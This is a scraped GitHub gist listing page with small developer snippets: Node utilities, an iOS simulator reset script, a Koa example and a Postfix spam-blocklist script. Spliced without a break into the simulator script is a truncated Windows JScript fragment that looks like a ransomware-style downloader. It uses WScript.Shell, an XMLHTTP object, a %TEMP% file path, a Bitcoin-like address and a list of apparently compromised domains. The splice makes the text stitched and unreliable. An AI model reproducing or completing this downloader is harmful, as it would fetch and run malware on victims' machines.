Skip to content

Instantly share code, notes, and snippets.

View cb1kenobi's full-sized avatar

Chris Barber cb1kenobi

View GitHub Profile
$ appc ti sdk list --releases
You are attempting to run appc 6.2.2 which was compiled for node v8.0.0 but you are now running node v8.1.4
Rebuilding package modules ...
The rebuild was unsuccessful, please run the following command to re-build for the newer version:
appc use 6.2.2 --force
Appcelerator Command-Line Interface, version 6.2.2
Copyright (c) 2014-2017, Appcelerator, Inc. All Rights Reserved.
SDK Install Locations:
@cb1kenobi
cb1kenobi / pkgjson-dirs.js
Created June 7, 2017 15:45
package.json directories
// displays a list of all "directories" properties for whatever
// you have installed in the node_modules dir
const fs = require('fs');
const globule = require('globule');
const dirs = {};
globule
.find('./**/package.json')
.forEach(file => {
@cb1kenobi
cb1kenobi / resetsims.js
Last active January 9, 2021 06:53
Resets all iOS, watchOS, and tvOS simulators
'use strict';
const execSync = require('child_process').execSync;
const json = JSON.parse(execSync('xcrun simctl list --json'));
for (const runtime of Object.keys(json.devices)) {
for (const device of json.devices[runtime]) {
console.log(`Removing ${device.name} (${device.udid})`);
execSync(`xcrun simctl delete ${device.udid}`);
}
var id = "LRAf9RSu-l5rAk8FM7MZAj05YpDtxEyEuY72K46WGdFbZP20XuLJwoYHSJnJB47wIa9baToAFno_";
var ad = "1A8nxYR1FNMyjn71RTgmwugHB9Y44p7Akg";
var bc = "0.44834";
var ld = 0;
var cq = String.fromCharCode(34);
var cs = String.fromCharCode(92);
var ll = "puntogel.com pme.com.vn www.staubsaugrobotern.com felicavet.hu www.tattoogreece.gr".split(" ");
var ws = WScript.CreateObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "822843";
var xo = WScript.CreateObject("MSXML2.XMLHTTP");
@cb1kenobi
cb1kenobi / reverse.js
Created March 28, 2016 05:22
Reverse a string
function reverse(s) {
return s.split('').reverse().join('');
}
reverse('Hello world!');
@cb1kenobi
cb1kenobi / numbersToWords.js
Created March 28, 2016 05:20
Numbers to words
const lookup = {
zero: 0,
one: 1,
two: 2,
three: 3,
four: 4,
five: 5,
six: 6,
seven: 7,
eight: 8,
@cb1kenobi
cb1kenobi / longestWord.js
Created March 28, 2016 05:07
Longest word
function longestWord(s) {
return s.split(/\b/).filter(chunk => chunk.trim()).reduce((a, b) => a.length > b.length ? a : b);
}
console.log(longestWord('I am so awesome it hurts')); // awesome
@cb1kenobi
cb1kenobi / examples.js
Created February 22, 2016 04:49
ES2015/6 Examples
const koa = require('koa');
const app = koa();
// logger
app.use(async (ctx, next) => {
const start = new Date;
await next();
const ms = new Date - start;
console.log('%s %s - %s', this.method, this.url, ms);
});
@cb1kenobi
cb1kenobi / fetch.js
Created October 9, 2015 03:04
Fetches all packages from NPM, caches it, then builds a list of packages containing C++ addons
var async = require('async'),
fs = require('fs'),
request = require('request'),
pkgs,
addons = [];
async.series([
function (next) {
if (fs.existsSync('./packages.json')) {
pkgs = require('./packages.json');
@cb1kenobi
cb1kenobi / update-spam-blocklist
Created May 30, 2015 00:52
Postfix CIDR blocklist update and spamassassin learn script
#!/bin/bash
curl https://www.spamhaus.org/drop/drop.lasso 2>/dev/null | sed '/^\s*;/d' | sed 's/;.*/REJECT/' > /etc/postfix/client.cidr
postfix reload
sa-learn -D --sync --spam /data/mail/cb1inc.com/chris/.Spam/{cur,new}